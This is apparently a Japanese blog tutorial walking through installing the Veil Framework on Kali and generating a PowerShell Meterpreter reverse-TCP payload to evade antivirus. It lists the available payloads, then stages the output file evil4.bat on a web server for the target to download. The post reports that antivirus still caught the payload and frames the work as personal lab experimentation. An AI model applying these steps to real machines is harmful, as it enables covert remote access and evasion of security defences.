Meterperterセッションを確立するには以下の2つをクリアする必要があります
- ターゲット端末の操作者に実行ファイルを実行させる
- アンチウィルスによる検知を回避する
実行ファイルが実行されてもアンチウィルスに検知されてしまっては目的を果たすことができません。 そこで、アンチウィルスを回避するVei Frameworkを試してみました。
Vei Frameworkをインストールする
まずは下記コマンドで Vei Frameworkをインストールします。
(インストール完了まで5分程度かかります)
┌──(root㉿kali)-[/home/kali] └─# apt install veil-evasion
veilコマンドを実行すると、Are you sure you wish to install Veil?と質問されるので「s」のサイレントモードでのinstallで実行します。
┌──(root㉿kali)-[/home/kali]
└─# veil
==========================================================================
Veil (Setup Script) | [Updated]: 2018-05-08
==========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
==========================================================================
os = kali
osversion = 2023.1
osmajversion = 2023
arch = x86_64
trueuser = kali
userprimarygroup = kali
userhomedir = /home/kali
rootdir = /usr/share/veil
veildir = /var/lib/veil
outputdir = /var/lib/veil/output
dependenciesdir = /var/lib/veil/setup-dependencies
winedir = /var/lib/veil/wine
winedrive = /var/lib/veil/wine/drive_c
gempath = Z:\var\lib\veil\wine\drive_c\Ruby187\bin\gem
[I] Kali Linux 2023.1 x86_64 detected...
[?] Are you sure you wish to install Veil?
Continue with installation? ([y]es/[s]ilent/[N]o):
このインストールには10分程度かかるのでしばらく待ちます。
Veiのインストール完了を確認する
最終的に Done! と表示され、Veilが実行できるようになったらインストール完了です。
(ここでは一旦exitで抜けます)
[I] Done!
===============================================================================
Veil | [Version]: 3.1.14
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Main Menu
2 tools loaded
Available Tools:
1) Evasion
2) Ordnance
Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool
Veil>:
Veiを起動する
Veiを起動するにはveilコマンドを実行するだけです。 これでアンチウィルスを回避するVei Frameworkのインストールが完了しました。
┌──(root㉿kali)-[/home/kali]
└─# veil
===============================================================================
Veil | [Version]: 3.1.14
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Main Menu
2 tools loaded
Available Tools:
1) Evasion
2) Ordnance
Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool
Veil>:
自分のローカル環境でテストするだけであればいったんアンチウィルスソフトを無効化すればよいので、ここまでの準備はしなくても実験はできます。
しかし、攻撃者の視点に立つとアンチウィルスの回避は必須なので、手口を知っておくことは有益かと思います。
Veiをアップデートしておく
以下のコマンドを実行してVeilを最新の状態にしておきます。
Veil>: update
ツールを選択する
起動時にEvasionとOrdnanceがAvailable Toolsとして表示されました。 アンチウィルスを回避したい場合は以下のように入力してEvasionを選択します。
Veil>: use 1
ペイロードを選択する
Veil/Evasion>: list
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Available Payloads:
1) autoit/shellcode_inject/flat.py
2) auxiliary/coldwar_wrapper.py
3) auxiliary/macro_converter.py
4) auxiliary/pyinstaller_wrapper.py
5) c/meterpreter/rev_http.py
6) c/meterpreter/rev_http_service.py
7) c/meterpreter/rev_tcp.py
8) c/meterpreter/rev_tcp_service.py
9) cs/meterpreter/rev_http.py
10) cs/meterpreter/rev_https.py
11) cs/meterpreter/rev_tcp.py
12) cs/shellcode_inject/base64.py
13) cs/shellcode_inject/virtual.py
14) go/meterpreter/rev_http.py
15) go/meterpreter/rev_https.py
16) go/meterpreter/rev_tcp.py
17) go/shellcode_inject/virtual.py
18) lua/shellcode_inject/flat.py
19) perl/shellcode_inject/flat.py
20) powershell/meterpreter/rev_http.py
21) powershell/meterpreter/rev_https.py
22) powershell/meterpreter/rev_tcp.py
23) powershell/shellcode_inject/psexec_virtual.py
24) powershell/shellcode_inject/virtual.py
25) python/meterpreter/bind_tcp.py
26) python/meterpreter/rev_http.py
27) python/meterpreter/rev_https.py
28) python/meterpreter/rev_tcp.py
29) python/shellcode_inject/aes_encrypt.py
30) python/shellcode_inject/arc_encrypt.py
31) python/shellcode_inject/base64_substitution.py
32) python/shellcode_inject/des_encrypt.py
33) python/shellcode_inject/flat.py
34) python/shellcode_inject/letter_substitution.py
35) python/shellcode_inject/pidinject.py
36) python/shellcode_inject/stallion.py
37) ruby/meterpreter/rev_http.py
38) ruby/meterpreter/rev_https.py
39) ruby/meterpreter/rev_tcp.py
40) ruby/shellcode_inject/base64.py
41) ruby/shellcode_inject/flat.py
22番目にある「powershell/meterpreter/rev_tcp.py」というペイロードを選択してみます。
以下のように入力します。
Veil/Evasion>: use 22
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Payload Information:
Name: Pure PowerShell Reverse TCP Stager
Language: powershell
Rating: Excellent
Description: pure windows/meterpreter/reverse_tcp stager, no
shellcode
Payload: powershell/meterpreter/rev_tcp selected
Required Options:
Name Value Description
---- ----- -----------
BADMACS FALSE Checks for known bad mac addresses
DOMAIN X Optional: Required internal domain
HOSTNAME X Optional: Required system hostname
LHOST IP of the Metasploit handler
LPORT 4444 Port of the Metasploit handler
MINBROWSERS FALSE Minimum of 2 browsers
MINPROCESSES X Minimum number of processes running
MINRAM FALSE Require a minimum of 3 gigs of RAM
PROCESSORS X Optional: Minimum number of processors
SLEEP X Optional: Sleep "Y" seconds, check if accelerated
USERNAME X Optional: The required user account
USERPROMPT FALSE Window pops up prior to payload
UTCCHECK FALSE Check that system isn't using UTC time zone
VIRTUALPROC FALSE Check for known VM processes
Available Commands:
back Go back to Veil-Evasion
exit Completely exit Veil
generate Generate the payload
options Show the shellcode's options
set Set shellcode option
生成されたペイロードを確認してインターネットより参照できるディレクトリに移動する。
┌──(root㉿kali)-[/var/www/html/share]
└─# cd /var/lib/veil/output/source
┌──(root㉿kali)-[/var/lib/veil/output/source]
└─# ls
evil4.bat
┌──(root㉿kali)-[/var/lib/veil/output/source]
└─# cp /var/lib/veil/output/source/evil4.bat /var/www/html/share
生成されたペイロードは/var/lib/veil/output/sourceに出力されます。
これを、/var/www/html/以下の任意の場所に配置して、インターネット経由でアクセスできるようにします。
標的端末より以下のURLにアクセスして、ペイロードをダウンロードします。
その際アンチウィルスが反応しなければ、成功です。
http://192.168.28.5/share/
結論
今回のやり方ではアンチウィルスが反応しました。
マイクロソフトが対策をして、Vei Frameworkで生成したペイロードにも反応したのかもしれません。
アンチウィルス回避の方法は別のアプローチが必要になりそうです。
個人のゲストOS上で試すには、アンチウィルスを無効化すれば実験は進める事が出来るので、 ひとまず以上とします。次にペイロードに別ファイルをバインドさせて試してみようと思います。